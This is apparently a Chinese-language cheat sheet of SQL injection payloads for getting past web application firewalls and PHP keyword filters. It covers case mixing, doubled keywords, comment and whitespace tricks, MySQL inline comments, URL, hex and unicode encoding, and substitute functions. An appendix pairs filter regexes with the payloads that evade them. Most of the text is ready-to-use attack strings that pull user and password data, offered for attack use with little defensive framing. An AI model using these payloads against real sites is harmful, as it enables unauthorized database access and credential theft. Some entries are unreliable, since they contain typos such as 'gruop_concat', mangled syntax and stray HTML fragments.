0x0001
首先针对 preg_replace 很多狗都是通过替换关键词来进行过滤:
preg_replace(‘A’ , ‘B’ , C) :执行一个正则表达式的搜索和替换,这个的意思是搜索C中符合A的部分,然后用B来代替。
1.大小写绕过
有些替换的过程中没有考虑到数据库执行过程大小写转换的问题,只处理了小写或大写的关键字,例如:select和SELECT会被过滤,但seLeCt并不会被防御机制检测到。于是我们可以使用
http://ip/index.php?login_id=-15 uNIoN sELecT 1,2,3,4…
,去执行union查询。
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
2.双写绕过
有些会把关键字替换成空,比如会把“select、and”等关键字替换为空,这时候我们可以这么输入
http://ip/index.php?login_id=-15 UNIunionON SELselectECT 1,2,3,4….
只过滤一次,结果会被替换成:
http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4….
这样就可以达到绕过防御去执行SQL语句了。并且,有些开发不知道怎么想的,明明可以循环过滤,却只过滤几次,我们可以多构造几个关键字,防止全部替换为空。
3.针对空格的绕过
①.内部注释:
这个方法在于利用SQL语句的注释符来绕过,这种绕过方式只适用于如下防御机制:输入“unionselect”不会被检测到攻击;输入“union select”会被检测到,检测机制会以空格为界定符,把“union”和“select”分开成两个字符串去检测是不是攻击的特征码。我们可以构造如下payload去绕过检测:
http://ip/index.php?login_id=-15/**/un/**/ion/**/sel/**/ect 1,2,3,4…
②两个空格代替一个空格,用Tab代替空格
%20 %09 %0a %0b %0c %0d %a0 /**/
③括号绕过空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
select(user())from dual where 1=1 and 2=2;
4.内联注释绕过
在MySql数据库版本大于等于5.55.55时,使用内联注释(/!**/)可以使下面公式成立:
/!select/=select
所以我们http://ip/index.php?login_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
等价于http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4…
,SQL语句一样会被执行。还是得提醒一下,这个方法在MySql数据库中并且版本符合要求才有效。
5.编码绕过
对字母进行编码(URL编码、base64、16进制(hex转码))
此绕过方式可以使用各种编码方式对payload进行编码,然后进行尝试。例如:http://ip/index.php?login_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
只对部分字母进行编码,便可以绕过检测机制。还有很多别的编码形式,比如双重url编码、16进制编码等,都可以去尝试绕过防护
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a*/FROM%252f%252a*/Users–+
一些unicode编码举例:
单引号:’
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9**
6.等价函数与命令绕过
hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
**举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1**
用like 绕过对“=”,“>”等的过滤
?id=1' or 1 like 1
in绕过
or '1' IN ('swords')
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
>,<绕过
or 'password' > 'pass'
or 1<3
在使用盲注的时候,会用到二分法来比较操作符来进行操作。如果过滤了比较操作符,那么就需要使用到 greatest()和lease()来进行绕过。greatest()返回最大值,least()返回最小值。
greatest(n1,n2,n3…)返回输入参数的最大值;
least(n1,n2,n3…)返回输入参数的最小值
————————————————————————————————————————————
附录 PHP中一些常见的过滤方法及绕过方式
过滤关键字 and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1
过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
过滤关键字 and, or, union, where, limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && substr(user,1,1) = 'a'
过滤关键字 and, or, union, where, limit, group by, select, '
php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ', hex
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码 1 && lpad(user,7,1)/td>
绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码 1 || (select user from users where user_id = 1) = 'admin'
绕过方式 1 || (select user from users limit 1) = 'admin'